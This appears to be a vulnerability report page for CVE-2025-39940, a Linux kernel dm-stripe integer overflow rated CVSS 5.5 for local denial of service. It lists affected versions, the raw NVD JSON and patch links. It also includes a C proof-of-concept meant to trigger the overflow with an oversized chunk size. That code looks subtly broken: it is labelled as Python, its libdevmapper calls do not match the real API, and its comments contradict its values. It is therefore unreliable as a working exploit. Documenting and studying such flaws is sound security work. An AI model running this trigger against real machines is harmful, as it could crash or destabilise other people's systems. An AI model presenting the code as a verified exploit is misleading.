Security Vulnerability Report
中文
CVE-2025-39940 CVSS 5.5 MEDIUM

CVE-2025-39940

Published: 2025-10-04 08:15:47
Last Modified: 2026-01-23 20:35:34
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: dm-stripe: fix a possible integer overflow There's a possible integer overflow in stripe_io_hints if we have too large chunk size. Test if the overflow happened, and if it did, don't set limits->io_min and limits->io_opt;

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:2.6.31:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:2.6.31:rc9:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.17:rc1:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 6.17 (包含dm-stripe模块的所有受影响版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* CVE-2025-39940 - dm-stripe integer overflow PoC * This PoC demonstrates triggering the integer overflow in stripe_io_hints * by creating a dm-stripe device with an oversized chunk_size. * * Note: Requires root or CAP_SYS_ADMIN privileges to manipulate dm targets. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <libdevmapper.h> #define TABLE_LOAD 1 int main(int argc, char *argv[]) { /* Use an intentionally oversized chunk_size to trigger overflow. * chunk_size = 0xFFFFFFFF (max 32-bit value) will cause * multiplication overflow in stripe_io_hints calculations. */ const char *chunk_size = "4294967296"; /* 4GB+ - overflow trigger */ const char *stripe_count = "2"; const char *dev1 = "/dev/loop0"; const char *dev2 = "/dev/loop1"; struct dm_task *dmt; struct dm_target *target; dmt = dm_task_create(DM_DEVICE_CREATE); if (!dmt) { fprintf(stderr, "Failed to create dm task\n"); return 1; } dm_task_set_name(dmt, "test_stripe_overflow"); /* Build the stripe target table with oversized chunk_size */ target = dm_task_add_target(dmt, "striped", 1, chunk_size, stripe_count, dev1, dev2, NULL); if (!target) { fprintf(stderr, "Failed to add target\n"); dm_task_destroy(dmt); return 1; } /* Load the table - this triggers stripe_io_hints and the overflow */ if (dm_task_run(dmt)) { printf("[+] Stripe device created with overflow chunk_size\n"); printf("[+] Check dmesg for I/O limit warnings or system instability\n"); } else { fprintf(stderr, "[-] Failed to create stripe device\n"); } dm_task_destroy(dmt); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-39940", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T08:15:46.973", "lastModified": "2026-01-23T20:35:34.493", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndm-stripe: fix a possible integer overflow\n\nThere's a possible integer overflow in stripe_io_hints if we have too\nlarge chunk size. Test if the overflow happened, and if it did, don't set\nlimits->io_min and limits->io_opt;"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.31.1", "versionEndExcluding": "6.12.49", "matchCriteriaId": "4B715FE4-D4BF-4175-A0E5-A7EE49D88E2F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.16.9", "matchCriteriaId": "638DD910-1189-4F5E-98BF-2D436B695112"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.31:-:*:*:*:*:*:*", "matchCriteriaId": "2887290A-1B43-4DB9-A9D0-B0B56CD78E48"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.31:rc9:*:*:*:*:*:*", "matchCriteriaId": "4B4E132B-A69A-4CD1-B4D9-E17C4361A3AC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc1:*:*:*:*:*:*", "matchCriteriaId": "327D22EF-390B-454C-BD31-2ED23C998A1C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc2:*:*:*:*:*:*", "matchCriteriaId": "C730CD9A-D969-4A8E-9522-162AAF7C0EE9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc3:*:*:*:*:*:*", "matchCriteriaId": "39982C4B-716E-4B2F-8196-FA301F47807D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc4:*:*:*:*:*:*", "matchCriteriaId": "340BEEA9-D70D-4290-B502-FBB1032353B1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc5:*:*:*:*:*:*", "matchCriteriaId": "47E4C5C0-079F-4838-971B-8C503D48FCC2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc6:*:*:*:*:*:*", "matchCriteriaId": "5A4516A6-C12E-42A4-8C0E-68AEF3264504"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/1071d560afb4c245c2076494226df47db5a35708", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ee27658c239b27721397f3e4eb16370b5cce596e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f8f64254bca5ae58f3b679441962bda4c409f659", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}